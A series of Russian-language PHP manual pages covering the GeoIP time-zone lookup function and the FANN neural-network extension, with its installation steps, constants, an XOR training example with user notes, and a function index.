Функция geoip_time_zone_by_country_and_region() вернёт часовой пояс и код региона соответствующей страны.

В США код региона соответствует двухбуквенному сокращению каждого штата. В Канаде код региона соответствует двухбуквенному сокращению провинции или территориальный код соответствующий канадской почте.

Для остальной части мира, для представления регионов GeoIP использует коды FIPS 10-4. Вы можете просмотреть » http://www.maxmind.com/app/fips10_4 для получения полного списка FIPS 10-4 кодов.

Эта функция всегда доступна при использовании библиотеки GeoIP версии 1.4.1 или новее. Данные берутся непосредственно из библиотеки GeoIP, а не из какой-либо базы данных.

Список параметров

country_code

Двухбуквенный код страны (смотрите geoip_country_code_by_name())

region_code

Двухбуквенный (или цифровой) код региона (смотрите geoip_region_by_name())

Возвращаемые значения

Возвращает часовой пояс в случае успешного выполнения или false, если страна и одновременно код региона не могут быть найдены.

Примеры

Пример #1 Пример использования geoip_time_zone_by_country_and_region() для кода региона US/Canada

Напечатает часовой пояс для страны CA (Канада), региона QC (Квебек).

<?php
$timezone = geoip_time_zone_by_country_and_region('CA', 'QC');
if ($timezone) {
echo 'Часовой пояс для CA/QC: ' . $timezone;
}
?>

Результат выполнения данного примера:

Часовой пояс для CA/QC: America/Montreal

Пример #2 Использование geoip_time_zone_by_country_and_region(), используя коды FIPS

Выводит часовой пояс для страны JP (Япония), регион 01 (Aichi).

<?php
$timezone = geoip_time_zone_by_country_and_region('JP', '01');
if ($timezone) {
echo 'Часовой пояс для JP/01: ' . $timezone;
}
?>

Результат выполнения данного примера:

Часовой пояс для JP/01: Asia/Tokyo

User Contributed Notes

There are no user contributed notes for this page.


Быстрая искусственная нейронная сеть (Fast Artificial Neural Network или FANN)

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Примеры
    • Обучение XOR
  • Функции Fann
    • fann_cascadetrain_on_data — Обучение на всем наборе данных в течение определённого периода времени с помощью алгоритма Cascade2
    • fann_cascadetrain_on_file — Обучение на данных прочтённых из файла с помощью алгоритма Cascade2
    • fann_clear_scaling_params — Очистка параметров масштабирования
    • fann_copy — Создаёт копию структуры fann
    • fann_create_from_file — Создаёт нейронную сеть с обратным распространением ошибки из конфигурационного файла
    • fann_create_shortcut_array — Создаёт стандартную нейронную сеть обратного распространения, которая не полностью подключена и имеет быстрые соединения
    • fann_create_shortcut — Создаёт стандартную нейронную сеть обратного распространения, которая не полностью подключена и имеет быстрые соединения
    • fann_create_sparse_array — Создаёт стандартную нейронную сеть обратного распространения, которая не полностью подключена, используя массив размеров слоёв
    • fann_create_sparse — Создаёт стандартную нейронную сеть обратного распространения, которая не полностью подключена
    • fann_create_standard_array — Создаёт стандартную полностью подключённую нейронную сеть обратного распространения, используя массив размеров слоёв
    • fann_create_standard — Создаёт стандартную полностью подключённую нейронную сеть обратного распространения
    • fann_create_train_from_callback — Создаёт структуру данных обучения из предоставленной пользователем функции
    • fann_create_train — Создаёт пустую структуру данных для обучения
    • fann_descale_input — Масштабирует данные во входном векторе после получения их на основе ранее рассчитанных параметров
    • fann_descale_output — Масштабирует данные в выходном векторе после получения их ина основе ранее рассчитанных параметров
    • fann_descale_train — Масштабирование входных и выходных данных на основе предварительно рассчитанных параметров
    • fann_destroy_train — Уничтожает тренировочные данные
    • fann_destroy — Уничтожает всю сеть и правильно освобождает всю связанную память
    • fann_duplicate_train_data — Возвращает точную копию тренировочных данных
    • fann_get_activation_function — Возвращает функцию активации
    • fann_get_activation_steepness — Возвращает крутизну активации для поставляемого нейрона и номера слоя
    • fann_get_bias_array — Получает количество смещений в каждом слое в сети
    • fann_get_bit_fail_limit — Возвращает предел сбоя битов, использованный во время обучения
    • fann_get_bit_fail — Количество битов сбоя
    • fann_get_cascade_activation_functions_count — Возвращает количество функций каскадной активации
    • fann_get_cascade_activation_functions — Возвращает функции каскадной активации
    • fann_get_cascade_activation_steepnesses_count — Количество крутизны активации
    • fann_get_cascade_activation_steepnesses — Возвращает крутизну каскадной активации
    • fann_get_cascade_candidate_change_fraction — Возвращает долю изменения каскада кандидата
    • fann_get_cascade_candidate_limit — Возвращает предел кандидата
    • fann_get_cascade_candidate_stagnation_epochs — Возвращает количество периодов застоя каскада кандидата
    • fann_get_cascade_max_cand_epochs — Получает наибольший период кандидата
    • fann_get_cascade_max_out_epochs — Возвращает максимальное количество периодов
    • fann_get_cascade_min_cand_epochs — Получает наименьший период кандидата
    • fann_get_cascade_min_out_epochs — Возвращает минимальное количество периодов
    • fann_get_cascade_num_candidate_groups — Возвращает количество групп кандидатов
    • fann_get_cascade_num_candidates — Возвращает количество кандидатов, использованных во время обучения
    • fann_get_cascade_output_change_fraction — Возвращает долю изменения выхода каскада
    • fann_get_cascade_output_stagnation_epochs — Возвращает количество каскадных периодов застоя кандидатов
    • fann_get_cascade_weight_multiplier — Возвращает множитель веса
    • fann_get_connection_array — Получает соединения в сети
    • fann_get_connection_rate — Получает скорость соединения, используемую при создании сети
    • fann_get_errno — Возвращает последний номер ошибки
    • fann_get_errstr — Возвращает последнюю строку ошибки
    • fann_get_layer_array — Получает количество нейронов в каждом слое сети
    • fann_get_learning_momentum — Возвращает импульс обучения
    • fann_get_learning_rate — Возвращает скорость обучения
    • fann_get_MSE — Считывает среднеквадратичную ошибку сети
    • fann_get_network_type — Получает тип нейронной сети
    • fann_get_num_input — Получает количество входных нейронов
    • fann_get_num_layers — Получает количество слоёв в нейронной сети
    • fann_get_num_output — Получает количество выходных нейронов
    • fann_get_quickprop_decay — Возвращает снижение, которое является фактором, при котором веса должны уменьшаться на каждой итерации во время обучения quickprop
    • fann_get_quickprop_mu — Возвращает коэффициент mu
    • fann_get_rprop_decrease_factor — Возвращает коэффициент уменьшения, используемый во время обучения RPROP
    • fann_get_rprop_delta_max — Возвращает максимальный размер шага
    • fann_get_rprop_delta_min — Возвращает минимальный размер шага
    • fann_get_rprop_delta_zero — Возвращает начальный размер шага
    • fann_get_rprop_increase_factor — Возвращает коэффициент увеличения, используемый во время обучения RPROP
    • fann_get_sarprop_step_error_shift — Возвращает сдвиг ошибки шага sarprop
    • fann_get_sarprop_step_error_threshold_factor — Возвращает пороговый коэффициент ошибки шага sarprop
    • fann_get_sarprop_temperature — Возвращает температуру sarprop
    • fann_get_sarprop_weight_decay_shift — Возвращает сдвиг уменьшения веса sarprop
    • fann_get_total_connections — Получает общее количество соединений во всей сети
    • fann_get_total_neurons — Получает общее количество нейронов во всей сети
    • fann_get_train_error_function — Возвращает функцию обработки ошибок, используемую во время обучения
    • fann_get_train_stop_function — Возвращает функцию остановки, используемую во время обучения
    • fann_get_training_algorithm — Возвращает алгоритм обучения
    • fann_init_weights — Инициализирует веса с помощью алгоритма Widrow + Nguyen
    • fann_length_train_data — Возвращает количество шаблонов в обучающих данных
    • fann_merge_train_data — Объединяет обучающие данные
    • fann_num_input_train_data — Возвращает количество входных данных в каждом из шаблонов в обучающих данных
    • fann_num_output_train_data — Возвращает количество выходных данных в каждом из шаблонов в обучающих данных
    • fann_print_error — Выводит строку ошибки
    • fann_randomize_weights — Присваивает каждому соединению случайный вес между min_weight и max_weight
    • fann_read_train_from_file — Читает файл, в котором хранятся данные обучения
    • fann_reset_errno — Сбрасывает номер последней ошибки
    • fann_reset_errstr — Сбрасывает последнюю строку ошибки
    • fann_reset_MSE — Сбрасывает среднеквадратичную ошибку из сети
    • fann_run — Запускает нейронную сеть с заданными данными
    • fann_save_train — Сохраняет структуру обучения в файл
    • fann_save — Сохраняет всю сеть в файл конфигурации
    • fann_scale_input_train_data — Масштабирует входные данные в обучающих данных до указанного диапазона
    • fann_scale_input — Масштабирует данные во входном векторе перед подачей их в ann на основе ранее рассчитанных параметров
    • fann_scale_output_train_data — Масштабирует выходные данные в обучающих данных до указанного диапазона
    • fann_scale_output — Масштабирует данные в выходном векторе перед их передачей в ann на основе ранее рассчитанных параметров
    • fann_scale_train_data — Масштабирует входные и выходные данные в обучающих данных до указанного диапазона
    • fann_scale_train — Масштабирует входные и выходные данные на основе ранее рассчитанных параметров
    • fann_set_activation_function_hidden — Устанавливает функцию активации для всех скрытых слоёв
    • fann_set_activation_function_layer — Устанавливает функцию активации для всех нейронов в предоставленном слое
    • fann_set_activation_function_output — Устанавливает функцию активации для выходного слоя
    • fann_set_activation_function — Устанавливает функцию активации для указанного нейрона и слоя
    • fann_set_activation_steepness_hidden — Устанавливает крутизну крутизны активации для всех нейронов во всех скрытых слоях
    • fann_set_activation_steepness_layer — Устанавливает крутизну активации для всех нейронов в указанном номере слоя
    • fann_set_activation_steepness_output — Устанавливает крутизну активации в выходном слое
    • fann_set_activation_steepness — Устанавливает крутизну активации для указанного нейрона и номера слоя
    • fann_set_bit_fail_limit — Устанавливает предел ошибок, используемый во время обучения
    • fann_set_callback — Устанавливает callback-функцию для использования во время обучения
    • fann_set_cascade_activation_functions — Устанавливает массив каскадных функций активации кандидатов
    • fann_set_cascade_activation_steepnesses — Устанавливает массив крутизны включения кандидатов в каскад
    • fann_set_cascade_candidate_change_fraction — Устанавливает долю каскадного изменения кандидата
    • fann_set_cascade_candidate_limit — Устанавливает лимит кандидатов
    • fann_set_cascade_candidate_stagnation_epochs — Устанавливает количество каскадных периодов застоя кандидатов
    • fann_set_cascade_max_cand_epochs — Устанавливает наибольший период кандидата
    • fann_set_cascade_max_out_epochs — Устанавливает максимальное количество эпох
    • fann_set_cascade_min_cand_epochs — Устанавливает наименьший период кандидата
    • fann_set_cascade_min_out_epochs — Устанавливает минимальные эпохи выходных данных
    • fann_set_cascade_num_candidate_groups — Устанавливает количество групп кандидатов
    • fann_set_cascade_output_change_fraction — Устанавливает долю изменения каскадных выходных данных
    • fann_set_cascade_output_stagnation_epochs — Устанавливает количество периодов стагнации каскадного вывода
    • fann_set_cascade_weight_multiplier — Устанавливает множитель веса
    • fann_set_error_log — Устанавливает, где регистрируются ошибки
    • fann_set_input_scaling_params — Рассчитывает входные параметры масштабирования для будущего использования на основе данных обучения
    • fann_set_learning_momentum — Устанавливает импульс обучения
    • fann_set_learning_rate — Устанавливает скорость обучения
    • fann_set_output_scaling_params — Рассчитывает выходные параметры масштабирования для будущего использования на основе данных обучения
    • fann_set_quickprop_decay — Устанавливает коэффициент затухания quickprop
    • fann_set_quickprop_mu — Устанавливает МЮ-фактор quickprop
    • fann_set_rprop_decrease_factor — Устанавливает коэффициент уменьшения, используемый во время обучения RPROP
    • fann_set_rprop_delta_max — Устанавливает максимальный размер шага
    • fann_set_rprop_delta_min — Устанавливает минимальный размер шага
    • fann_set_rprop_delta_zero — Устанавливает начальный размер шага
    • fann_set_rprop_increase_factor — Устанавливает коэффициент увеличения, используемый во время обучения Rprop
    • fann_set_sarprop_step_error_shift — Устанавливает сдвиг ошибки шага sarprop
    • fann_set_sarprop_step_error_threshold_factor — Устанавливает пороговый коэффициент ошибки шага sarprop
    • fann_set_sarprop_temperature — Устанавливает температуру sarprop
    • fann_set_sarprop_weight_decay_shift — Устанавливает смещение затухания sarprop
    • fann_set_scaling_params — Рассчитывает входные и выходные параметры масштабирования для будущего использования на основе данных обучения
    • fann_set_train_error_function — Устанавливает функцию ошибки, используемую во время тренировки
    • fann_set_train_stop_function — Устанавливает функцию остановки, используемую во время тренировки
    • fann_set_training_algorithm — Устанавливает алгоритм обучения
    • fann_set_weight_array — Создание связей в сети
    • fann_set_weight — Создание связи в сети
    • fann_shuffle_train_data — Перемешивает обучающие данные в случайном порядке
    • fann_subset_train_data — Получить копию подмножества из обучающих данных
    • fann_test_data — Тестирование набора обучающих данных и вычисление MSE для него
    • fann_test — Тестирование с набором входных данных и желаемым результатом
    • fann_train_epoch — Обучение в течение одной эпохи
    • fann_train_on_data — Обучение на всем объёме данных на временном интервале
    • fann_train_on_file — Обучение на полном наборе данных, прочитанном из файла, на временном интервале
    • fann_train — Провести одну итерацию обучения с набором входных данных и желаемым результатом
  • FANNConnection — Класс FANNConnection
    • FANNConnection::__construct — Конструктор связи
    • FANNConnection::getFromNeuron — Возвращает позицию стартового нейрона
    • FANNConnection::getToNeuron — Возвращает позицию конечного нейрона
    • FANNConnection::getWeight — Возвращает вес связи
    • FANNConnection::setWeight — Устанавливает вес связи

User Contributed Notes

There are no user contributed notes for this page.


Введение

Привязка PHP к библиотеке FANN, которая реализует многослойную искусственную нейронную сеть с поддержкой как полносвязных так и неполно связных сетей. Модуль включает фреймворк для управления обучающими выборками. Модуль простой в использовании, гибкий, хорошо документированный и быстрый.

User Contributed Notes

There are no user contributed notes for this page.


Требования

PHP >= 5.2.0 и libfann >= 2.1.0

User Contributed Notes

There are no user contributed notes for this page.


Установка

Модуль FANN должен работать на любых дистрибутивах Linux.

  • Установка библиотеки FANN
  • Установка из PECL
  • Ручная установка

Установка библиотеки FANN

Перед началом установки убедитесь, что на вашей системе уже установлена библиотека libfann. Она является частью главного репозитория в для большинства дистрибутивов Linux (ищите по слову fann). Вам необходима версия для разработчиков.

Если она не установлена, то вам, всё же, придётся её установить. Можете установить её из репозитория ОС либо скачать с » официального сайта. Например для Fedora:

$ sudo yum install fann-devel
или Ubuntu:

$ sudo apt-get install libfann-dev

Если библиотека переустанавливается вручную, то сперва необходимо удалить старую версию библиотеки, иначе она не будет заменена.

Установка из PECL

Этот модуль доступен в PECL. Установка очень проста, запустите:

$ sudo pecl install fann

Ручная установка

Для разработчиков и людей, заинтересованных в самой свежей версии, есть возможность скомпилировать из самых свежих исходных кодов, которые лежат на » GitHub. Зайдите на GitHub и нажмите "Download ZIP". после этого запустите:

$ unzip php-fann-master.zip
$ cd php-fann-master
$ phpize
$ ./configure
$ make all
$ sudo make install

Внесите следующие изменения в php.ini:

  • Убедитесь, что extension_dir указывает на директорию, в которой находится fann.so. При сборке на экран будет выведено, куда именно устанавливается скомпилированный модуль:

Installing '/usr/lib/php/extensions/no-debug-non-zts-20060613/fann.so'
    Убедитесь, что это путь, в котором лежат модули PHP:

$ php -i | grep extension_dir
  extension_dir => /usr/lib/php/extensions/no-debug-non-zts-20060613 =>
                   /usr/lib/php/extensions/no-debug-non-zts-20060613
    Если это не так, то поменяйте extension_dir в php.ini или просто переместите fann.so куда следует.

  • Для загрузки модуля при запуске PHP, добавьте в php.ini строку:

extension=fann.so

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Перечисленные ниже константы определены данным модулем и доступны либо в сборках PHP с поддержкой этого модуля, либо когда модуль динамически загружен во время выполнения.

Обучающие алгоритмы
FANN_TRAIN_INCREMENTAL (int)
Стандартный алгоритм обратного распространения ошибки, в котором веса обновляются после каждого обучающего шаблона. Это означает, что веса обновляются множество раз в течение одной эпохи. Это приводит к тому, что для некоторых задач обучение будет происходить очень быстро, в то время как с более сложными задачами обучение не будет давать нужного качества.
FANN_TRAIN_BATCH (int)
Стандартный алгоритм обратного распространения ошибки, в котором веса обновляются после вычисления среднеквадратичной погрешности на всем обучающем наборе. Это означает, что веса обновляются всего один раз в течение одной эпохи. Это приводит к тому, что для некоторых задач обучение будет происходить медленнее. С другой стороны, вычисление среднеквадратичной погрешности более корректно, нежели чем в инкрементальном обучении, что позволяет получить более качественную сеть.
FANN_TRAIN_RPROP (int)
Более продвинутый алгоритм пакетного обучения, позволяющий достичь хороших результатов для многих задач. Обучающий алгоритм RPROP является адаптивным и, следовательно, не использует learning_rate. Тем не менее можно установить некоторые другие параметры для изменения работы алгоритма RPROP, но это рекомендуется делать только тем, кто понимает принципы работы этого алгоритма. Обучающий алгоритм RPROP описан Редмиллером и Брауном в 1993 г., но тут используется обучающий алгоритм iRPROP, описанный Игелем и Хаскиным в 2000 г., который является вариантом стандартного алгоритма RPROP.
FANN_TRAIN_QUICKPROP (int)
Более продвинутый алгоритм пакетного обучения, позволяющий достичь хороших результатов для многих задач. Алгоритм quickprop использует параметр learning_rate наряду с другими параметрами, но изменять эти параметры рекомендуется только если вы понимаете, что делаете. Обучающий алгоритм quickprop описан Фальманом в 1988 г.
FANN_TRAIN_SARPROP (int)
Ещё более продвинутый алгоритм тренировки. Только для версии 2.2
Activation functions
FANN_LINEAR (int)
Линейная функция активации.
FANN_THRESHOLD (int)
Функция активации по порогу.
FANN_THRESHOLD_SYMMETRIC (int)
Функция активации по порогу.
FANN_SIGMOID (int)
Функция активации по сигмоиде.
FANN_SIGMOID_STEPWISE (int)
Пошаговая линейная апроксимация к сигмоиде.
FANN_SIGMOID_SYMMETRIC (int)
Функция активации по симметричной сигмоиде, она же tanh (гиперболический тангенс).
FANN_SIGMOID_SYMMETRIC_STEPWISE (int)
Пошаговая линейная апроксимация к симметричной сигмоиде.
FANN_GAUSSIAN (int)
Гауссова функция активации.
FANN_GAUSSIAN_SYMMETRIC (int)
Симметричная гауссова функция активации.
FANN_GAUSSIAN_STEPWISE (int)
Пошаговая гауссова функция активации.
FANN_ELLIOT (int)
Быстрая (похожая на сигмоиду) функция активации, описанная Дэвидом Эллиотом.
FANN_ELLIOT_SYMMETRIC (int)
Быстрая (похожая на симметричную сигмоиду) функция активации, описанная Дэвидом Эллиотом.
FANN_LINEAR_PIECE (int)
Ограниченная линейная функция активации.
FANN_LINEAR_PIECE_SYMMETRIC (int)
Ограниченная линейная функция активации.
FANN_SIN_SYMMETRIC (int)
Периодическая синусоидальная функция активации.
FANN_COS_SYMMETRIC (int)
Периодическая косинусоидальная функция активации.
FANN_SIN (int)
Периодическая синусоидальная функция активации.
FANN_COS (int)
Периодическая косинусоидальная функция активации.
Error function used during training
FANN_ERRORFUNC_LINEAR (int)
Стандартная линейная функция ошибки.
FANN_ERRORFUNC_TANH (int)
Функция ошибки на основе гиперболического тангенса (tanh); обычно более качественное, но и более медленное обучение. Функция ошибки агрессивно нацелена на результаты сильно отличающиеся от ожидаемых, в то время, как результаты с небольшими отличиями не затрагиваются. Не рекомендуется для каскадного или инкрементального обучения.
Критерий остановки, используемый при обучении
FANN_STOPFUNC_MSE (int)
Критерий остановки - это значение среднеквадратичной ошибки (Mean Square Error или MSE).
FANN_STOPFUNC_BIT (int)
Критерий остановки - это количество ошибочных бит. Количество ошибочных бит - это количество отдающих нейронов, количество ошибочных бит, которые более установленного предела (смотрите fann_get_bit_fail_limit, fann_set_bit_fail_limit). Биты считаются во всех обучающих данных, так что это число может быть больше количества обучающих данных.
Определение типов сети используемых fann_get_network_type()
FANN_NETTYPE_LAYER (int)
Каждый уровень имеет связи только со следующим уровнем.
FANN_NETTYPE_SHORTCUT (int)
Каждый уровень имеет связи со всеми последующими уровнями.
Ошибки
FANN_E_NO_ERROR (int)
Нет ошибки.
FANN_E_CANT_OPEN_CONFIG_R (int)
Невозможно открыть конфигурационный файл на чтение.
FANN_E_CANT_OPEN_CONFIG_W (int)
Невозможно открыть конфигурационный файл на запись.
FANN_E_WRONG_CONFIG_VERSION (int)
Неверная версия конфигурационного файла.
FANN_E_CANT_READ_CONFIG (int)
Ошибка чтения данных из конфигурационного файла.
FANN_E_CANT_READ_NEURON (int)
Ошибка чтения данных нейрона из конфигурационного файла.
FANN_E_CANT_READ_CONNECTIONS (int)
Ошибка чтения данных связей из конфигурационного файла.
FANN_E_WRONG_NUM_CONNECTIONS (int)
Количество связей отличается от ожидаемого.
FANN_E_CANT_OPEN_TD_W (int)
Невозможно открыть файл с обучающими данными на запись.
FANN_E_CANT_OPEN_TD_R (int)
Невозможно открыть файл с обучающими данными на чтение.
FANN_E_CANT_READ_TD (int)
Ошибка чтения обучающих данных из файла.
FANN_E_CANT_ALLOCATE_MEM (int)
Невозможно выделить память.
FANN_E_CANT_TRAIN_ACTIVATION (int)
Обучение с заданной функцией активации невозможно.
FANN_E_CANT_USE_ACTIVATION (int)
Невозможно использовать заданную функцию активации.
FANN_E_TRAIN_DATA_MISMATCH (int)
Неразрешимые различия между двумя структурами fann_train_data.
FANN_E_CANT_USE_TRAIN_ALG (int)
Невозможно использовать указанный алгоритм обучения.
FANN_E_TRAIN_DATA_SUBSET (int)
Попытка взять подмножество отсутствующее в обучающем наборе.
FANN_E_INDEX_OUT_OF_BOUND (int)
Индекс за пределами допустимого диапазона.
FANN_E_SCALE_NOT_PRESENT (int)
Не задан параметр масштабирования.
FANN_E_INPUT_NO_MATCH (int)
Количество входных нейронов в сети и данных не совпадают.
FANN_E_OUTPUT_NO_MATCH (int)
Число выходных нейронов в сети и данных не совпадают.

User Contributed Notes

There are no user contributed notes for this page.


Примеры

Содержание

  • Обучение XOR

User Contributed Notes

There are no user contributed notes for this page.


Обучение XOR

Этот пример показывает, как обучить сеть функции XOR

Пример #1 Файл xor.data

4 2 1
-1 -1
-1
-1 1
1
1 -1
1
1 1
-1

Пример #2 Простое обучение

<?php
$num_input = 2;
$num_output = 1;
$num_layers = 3;
$num_neurons_hidden = 3;
$desired_error = 0.001;
$max_epochs = 500000;
$epochs_between_reports = 1000;

$ann = fann_create_standard($num_layers, $num_input, $num_neurons_hidden, $num_output);

if ($ann) {
fann_set_activation_function_hidden($ann, FANN_SIGMOID_SYMMETRIC);
fann_set_activation_function_output($ann, FANN_SIGMOID_SYMMETRIC);

$filename = dirname(__FILE__) . "/xor.data";
if (fann_train_on_file($ann, $filename, $max_epochs, $epochs_between_reports, $desired_error))
fann_save($ann, dirname(__FILE__) . "/xor_float.net");

fann_destroy($ann);
}
?>

Этот пример показывает, как прочитать из файла тренировочные данные и проверить работу сети.

Пример #3 Тестирование

<?php
$train_file = (dirname(__FILE__) . "/xor_float.net");
if (!is_file($train_file))
die("The file xor_float.net has not been created! Please run simple_train.php to generate it");

$ann = fann_create_from_file($train_file);
if (!$ann)
die("ANN could not be created");

$input = array(-1, 1);
$calc_out = fann_run($ann, $input);
printf("xor test (%f,%f) -> %f\n", $input[0], $input[1], $calc_out[0]);
fann_destroy($ann);
?>

User Contributed Notes

ithirzty 25-Nov-2019 07:44
If you wan't your result to be saved after the time limit, you will need to add this to your code.
<?php
function shutdown()
{
  global $ann;
fann_save($ann, dirname(__FILE__) . "/result.net");
fann_destroy($ann);
}

register_shutdown_function('shutdown');
?>
where $ann is your neural network var and 'result.net' your neural network config file.
Ray.Paseur sometimes uses Gmail 03-Mar-2017 08:43
A helpful reference for FANN is available here:
http://leenissen.dk/fann/html/files2/theory-txt.html
Aurelien Marchand 08-May-2015 02:08
Here is an explanation for the input file for training, as it might be obvious to everyone and you must understand it to write your own:

4 2 1 <- header file saying there are 4 sets to read, with 2 inputs and 1 output
-1 -1 <- the 2 inputs for the 1st group
-1    <- the 1 output for the 1st group
-1 1  <- the 2 inputs for the 2nd group
1     <- the 1 output for the 2nd group
1 -1  <- the 2 inputs for the 3rd group
1     <- the 1 output for the 3rd group
1 1   <- the 2 inputs for the 4th group
-1    <- the 1 output for the 4th group


Функции Fann

Содержание

  • fann_cascadetrain_on_data — Обучение на всем наборе данных в течение определённого периода времени с помощью алгоритма Cascade2
  • fann_cascadetrain_on_file — Обучение на данных прочтённых из файла с помощью алгоритма Cascade2
  • fann_clear_scaling_params — Очистка параметров масштабирования
  • fann_copy — Создаёт копию структуры fann
  • fann_create_from_file — Создаёт нейронную сеть с обратным распространением ошибки из конфигурационного файла
  • fann_create_shortcut_array — Создаёт стандартную нейронную сеть обратного распространения, которая не полностью подключена и имеет быстрые соединения
  • fann_create_shortcut — Создаёт стандартную нейронную сеть обратного распространения, которая не полностью подключена и имеет быстрые соединения
  • fann_create_sparse_array — Создаёт стандартную нейронную сеть обратного распространения, которая не полностью подключена, используя массив размеров слоёв
  • fann_create_sparse — Создаёт стандартную нейронную сеть обратного распространения, которая не полностью подключена
  • fann_create_standard_array — Создаёт стандартную полностью подключённую нейронную сеть обратного распространения, используя массив размеров слоёв
  • fann_create_standard — Создаёт стандартную полностью подключённую нейронную сеть обратного распространения
  • fann_create_train_from_callback — Создаёт структуру данных обучения из предоставленной пользователем функции
  • fann_create_train — Создаёт пустую структуру данных для обучения
  • fann_descale_input — Масштабирует данные во входном векторе после получения их на основе ранее рассчитанных параметров
  • fann_descale_output — Масштабирует данные в выходном векторе после получения их ина основе ранее рассчитанных параметров
  • fann_descale_train — Масштабирование входных и выходных данных на основе предварительно рассчитанных параметров
  • fann_destroy_train — Уничтожает тренировочные данные
  • fann_destroy — Уничтожает всю сеть и правильно освобождает всю связанную память
  • fann_duplicate_train_data — Возвращает точную копию тренировочных данных
  • fann_get_activation_function — Возвращает функцию активации
  • fann_get_activation_steepness — Возвращает крутизну активации для поставляемого нейрона и номера слоя
  • fann_get_bias_array — Получает количество смещений в каждом слое в сети
  • fann_get_bit_fail_limit — Возвращает предел сбоя битов, использованный во время обучения
  • fann_get_bit_fail — Количество битов сбоя
  • fann_get_cascade_activation_functions_count — Возвращает количество функций каскадной активации
  • fann_get_cascade_activation_functions — Возвращает функции каскадной активации
  • fann_get_cascade_activation_steepnesses_count — Количество крутизны активации
  • fann_get_cascade_activation_steepnesses — Возвращает крутизну каскадной активации
  • fann_get_cascade_candidate_change_fraction — Возвращает долю изменения каскада кандидата
  • fann_get_cascade_candidate_limit — Возвращает предел кандидата
  • fann_get_cascade_candidate_stagnation_epochs — Возвращает количество периодов застоя каскада кандидата
  • fann_get_cascade_max_cand_epochs — Получает наибольший период кандидата
  • fann_get_cascade_max_out_epochs — Возвращает максимальное количество периодов
  • fann_get_cascade_min_cand_epochs — Получает наименьший период кандидата
  • fann_get_cascade_min_out_epochs — Возвращает минимальное количество периодов
  • fann_get_cascade_num_candidate_groups — Возвращает количество групп кандидатов
  • fann_get_cascade_num_candidates — Возвращает количество кандидатов, использованных во время обучения
  • fann_get_cascade_output_change_fraction — Возвращает долю изменения выхода каскада
  • fann_get_cascade_output_stagnation_epochs — Возвращает количество каскадных периодов застоя кандидатов
  • fann_get_cascade_weight_multiplier — Возвращает множитель веса
  • fann_get_connection_array — Получает соединения в сети
  • fann_get_connection_rate — Получает скорость соединения, используемую при создании сети
  • fann_get_errno — Возвращает последний номер ошибки
  • fann_get_errstr — Возвращает последнюю строку ошибки
  • fann_get_layer_array — Получает количество нейронов в каждом слое сети
  • fann_get_learning_momentum — Возвращает импульс обучения
  • fann_get_learning_rate — Возвращает скорость обучения
  • fann_get_MSE — Считывает среднеквадратичную ошибку сети
  • fann_get_network_type — Получает тип нейронной сети
  • fann_get_num_input — Получает количество входных нейронов
  • fann_get_num_layers — Получает количество слоёв в нейронной сети
  • fann_get_num_output — Получает количество выходных нейронов
  • fann_get_quickprop_decay — Возвращает снижение, которое является фактором, при котором веса должны уменьшаться на каждой итерации во время обучения quickprop
  • fann_get_quickprop_mu — Возвращает коэффициент mu
  • fann_get_rprop_decrease_factor — Возвращает коэффициент уменьшения, используемый во время обучения RPROP
  • fann_get_rprop_delta_max — Возвращает максимальный размер шага
  • fann_get_rprop_delta_min — Возвращает минимальный размер шага
  • fann_get_rprop_delta_zero — Возвращает начальный размер шага
  • fann_get_rprop_increase_factor — Возвращает коэффициент увеличения, используемый во время обучения RPROP
  • fann_get_sarprop_step_error_shift — Возвращает сдвиг ошибки шага sarprop
  • fann_get_sarprop_step_error_threshold_factor — Возвращает пороговый коэффициент ошибки шага sarprop
  • fann_get_sarprop_temperature — Возвращает температуру sarprop
  • fann_get_sarprop_weight_decay_shift — Возвращает сдвиг уменьшения веса sarprop
  • fann_get_total_connections — Получает общее количество соединений во всей сети
  • fann_get_total_neurons — Получает общее количество нейронов во всей сети
  • fann_get_train_error_function — Возвращает функцию обработки ошибок, используемую во время обучения
  • fann_get_train_stop_function — Возвращает функцию остановки, используемую во время обучения
  • fann_get_training_algorithm — Возвращает алгоритм обучения
  • fann_init_weights — Инициализирует веса с помощью алгоритма Widrow + Nguyen
  • fann_length_train_data — Возвращает количество шаблонов в обучающих данных
  • fann_merge_train_data — Объединяет обучающие данные
  • fann_num_input_train_data — Возвращает количество входных данных в каждом из шаблонов в обучающих данных
  • fann_num_output_train_data — Возвращает количество выходных данных в каждом из шаблонов в обучающих данных
  • fann_print_error — Выводит строку ошибки
  • fann_randomize_weights — Присваивает каждому соединению случайный вес между min_weight и max_weight
  • fann_read_train_from_file — Читает файл, в котором хранятся данные обучения
  • fann_reset_errno — Сбрасывает номер последней ошибки
  • fann_reset_errstr — Сбрасывает последнюю строку ошибки
  • fann_reset_MSE — Сбрасывает среднеквадратичную ошибку из сети
  • fann_run — Запускает нейронную сеть с заданными данными
  • fann_save_train — Сохраняет структуру обучения в файл
  • fann_save — Сохраняет всю сеть в файл конфигурации
  • fann_scale_input_train_data — Масштабирует входные данные в обучающих данных до указанного диапазона
  • fann_scale_input — Масштабирует данные во входном векторе перед подачей их в ann на основе ранее рассчитанных параметров
  • fann_scale_output_train_data — Масштабирует выходные данные в обучающих данных до указанного диапазона
  • fann_scale_output — Масштабирует данные в выходном векторе перед их передачей в ann на основе ранее рассчитанных параметров
  • fann_scale_train_data — Масштабирует входные и выходные данные в обучающих данных до указанного диапазона
  • fann_scale_train — Масштабирует входные и выходные данные на основе ранее рассчитанных параметров
  • fann_set_activation_function_hidden — Устанавливает функцию активации для всех скрытых слоёв
  • fann_set_activation_function_layer — Устанавливает функцию активации для всех нейронов в предоставленном слое
  • fann_set_activation_function_output — Устанавливает функцию активации для выходного слоя
  • fann_set_activation_function — Устанавливает функцию активации для указанного нейрона и слоя
  • fann_set_activation_steepness_hidden — Устанавливает крутизну крутизны активации для всех нейронов во всех скрытых слоях
  • fann_set_activation_steepness_layer — Устанавливает крутизну активации для всех нейронов в указанном номере слоя
  • fann_set_activation_steepness_output — Устанавливает крутизну активации в выходном слое
  • fann_set_activation_steepness — Устанавливает крутизну активации для указанного нейрона и номера слоя
  • fann_set_bit_fail_limit — Устанавливает предел ошибок, используемый во время обучения
  • fann_set_callback — Устанавливает callback-функцию для использования во время обучения
  • fann_set_cascade_activation_functions — Устанавливает массив каскадных функций активации кандидатов
